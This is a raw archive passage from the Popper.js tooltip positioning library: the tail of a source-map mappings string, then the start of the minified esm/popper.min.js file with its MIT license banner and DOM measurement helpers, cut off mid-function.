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"}esm/popper.min.js000064400000050161151677356750010006 0ustar00/*
 Copyright (C) Federico Zivolo 2018
 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).
 */for(var e='undefined'!=typeof window&&'undefined'!=typeof document,t=['Edge','Trident','Firefox'],o=0,n=0;n<t.length;n+=1)if(e&&0<=navigator.userAgent.indexOf(t[n])){o=1;break}function i(e){var t=!1;return function(){t||(t=!0,window.Promise.resolve().then(function(){t=!1,e()}))}}function r(e){var t=!1;return function(){t||(t=!0,setTimeout(function(){t=!1,e()},o))}}var p=e&&window.Promise,s=p?i:r;function d(e){return e&&'[object Function]'==={}.toString.call(e)}function a(e,t){if(1!==e.nodeType)return[];var o=e.ownerDocument.defaultView,n=o.getComputedStyle(e,null);return t?n[t]:n}function l(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function f(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var t=a(e),o=t.overflow,n=t.overflowX,i=t.overflowY;return /(auto|scroll|overlay)/.test(o+i+n)?e:f(l(e))}var m=e&&!!(window.MSInputMethodContext&&document.documentMode),h=e&&/MSIE 10/.test(navigator.userAgent);function c(e){return 11===e?m:10===e?h:m||h}function g(e){if(!e)return document.documentElement;for(var t=c(10)?document.body:null,o=e.offsetParent||null;o===t&&e.nextElementSibling;)o=(e=e.nextElementSibling).offsetParent;var n=o&&o.nodeName;return n&&'BODY'!==n&&'HTML'!==n?-1!==['TH','TD','TABLE'].indexOf(o.nodeName)&&'static'===a(o,'position')?g(o):o:e?e.ownerDocument.documentElement:document.documentElement}function u(e){var t=e.nodeName;return'BODY'!==t&&('HTML'===t||g(e.firstElementChild)===e)}function b(e){return null===e.parentNode?e:b(e.parentNode)}function y(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return document.documentElement;var o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,n=o?e:t,i=o?t:e,r=document.createRange();r.setStart(n,0),r.setEnd(i,0);var p=r.commonAncestorContainer;if(e!==p&&t!==p||n.contains(i))return u(p)?p:g(p);var s=b(e);return s.host?y(s.host,t):y(e,b(t).host)}function w(e){var t=1<arguments.length&&arguments[1]!==void 0?arguments[1]:'top',o='top'===t?'scrollTop':'scrollLeft',n=e.nodeName;if('BODY'===n||'HTML'===n){var i=e.ownerDocument.documentElement,r=e.ownerDocument.scrollingElement||i;return r[o]}return e[o]}function E(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],n=w(t,'top'),i=w(t,'left'),r=o?-1:1;return e.top+=n*r,e.bottom+=n*r,e.left+=i*r,e.right+=i*r,e}function x(e,t){var o='x'===t?'Left':'Top',n='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'],10)+parseFloat(e['border'+n+'Width'],10)}function v(e,t,o,n){return Math.max(t['offset'+e],t['scroll'+e],o['client'+e],o['offset'+e],o['scroll'+e],c(10)?parseInt(o['offset'+e])+parseInt(n['margin'+('Height'===e?'Top':'Left')])+parseInt(n['margin'+('Height'===e?'Bottom':'Right')]):0)}function O(e){var t=e.body,o=e.documentElement,n=c(10)&&getComputedStyle(o);return{height:v('Height',t,o,n),width:v('Width',t,o,n)}}var L=function(e,t){if(!(e instanceof t))throw new TypeError('Cannot call a class as a function')},S=function(){function e(e,t){for(var o,n=0;n<t.length;n++)o=t[n],o.enumerable=o.enumerable||!1,o.configurable=!0,'value'in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}return function(t,o,n){return o&&e(t.prototype,o),n&&e(t,n),t}}(),T=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},D=Object.assign||function(e){for(var t,o=1;o<arguments.length;o++)for(var n in t=arguments[o],t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e};function C(e){return D({},e,{right:e.left+e.width,bottom:e.top+e.height})}function N(e){var t={};try{if(c(10)){t=e.getBoundingClientRect();var o=w(e,'top'),n=w(e,'left');t.top+=o,t.left+=n,t.bottom+=o,t.right+=n}else t=e.getBoundingClientRect()}catch(t){}var i={left:t.left,top:t.top,width:t.right-t.left,height:t.bottom-t.top},r='HTML'===e.nodeName?O(e.ownerDocument):{},p=r.width||e.clientWidth||i.right-i.left,s=r.height||e.clientHeight||i.bottom-i.top,d=e.offsetWidth-p,l=e.offsetHeight-s;if(d||l){var f=a(e);d-=x(f,'x'),l-=x(f,'y'),i.width-=d,i.height-=l}return C(i)}function P(e,t){var o=Math.max,n=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=c(10),r='HTML'===t.nodeName,p=N(e),s=N(t),d=f(e),l=a(t),m=parseFloat(l.borderTopWidth,10),h=parseFloat(l.borderLeftWidth,10);n&&r&&(s.top=o(s.top,0),s.left=o(s.left,0));var g=C({top:p.top-s.top-m,left:p.left-s.left-h,width:p.width,height:p.height});if(g.marginTop=0,g.marginLeft=0,!i&&r){var u=parseFloat(l.marginTop,10),b=parseFloat(l.marginLeft,10);g.top-=m-u,g.bottom-=m-u,g.left-=h-b,g.right-=h-b,g.marginTop=u,g.marginLeft=b}return(i&&!n?t.contains(d):t===d&&'BODY'!==d.nodeName)&&(g=E(g,t)),g}function k(e){var t=Math.max,o=1<arguments.length&&void 0!==arguments[1]&&arguments[1],n=e.ownerDocument.documentElement,i=P(e,n),r=t(n.clientWidth,window.innerWidth||0),p=t(n.clientHeight,window.innerHeight||0),s=o?0:w(n),d=o?0:w(n,'left'),a={top:s-i.top+i.marginTop,left:d-i.left+i.marginLeft,width:r,height:p};return C(a)}function W(e){var t=e.nodeName;return'BODY'===t||'HTML'===t?!1:!('fixed'!==a(e,'position'))||W(l(e))}function H(e){if(!e||!e.parentElement||c())return document.documentElement;for(var t=e.parentElement;t&&'none'===a(t,'transform');)t=t.parentElement;return t||document.documentElement}function B(e,t,o,n){var i=4<arguments.length&&void 0!==arguments[4]&&arguments[4],r={top:0,left:0},p=i?H(e):y(e,t);if('viewport'===n)r=k(p,i);else{var s;'scrollParent'===n?(s=f(l(t)),'BODY'===s.nodeName&&(s=e.ownerDocument.documentElement)):'window'===n?s=e.ownerDocument.documentElement:s=n;var d=P(s,p,i);if('HTML'===s.nodeName&&!W(p)){var a=O(e.ownerDocument),m=a.height,h=a.width;r.top+=d.top-d.marginTop,r.bottom=m+d.top,r.left+=d.left-d.marginLeft,r.right=h+d.left}else r=d}o=o||0;var c='number'==typeof o;return r.left+=c?o:o.left||0,r.top+=c?o:o.top||0,r.right-=c?o:o.right||0,r.bottom-=c?o:o.bottom||0,r}function A(e){var t=e.width,o=e.height;return t*o}function M(e,t,o,n,i){var r=5<arguments.length&&arguments[5]!==void 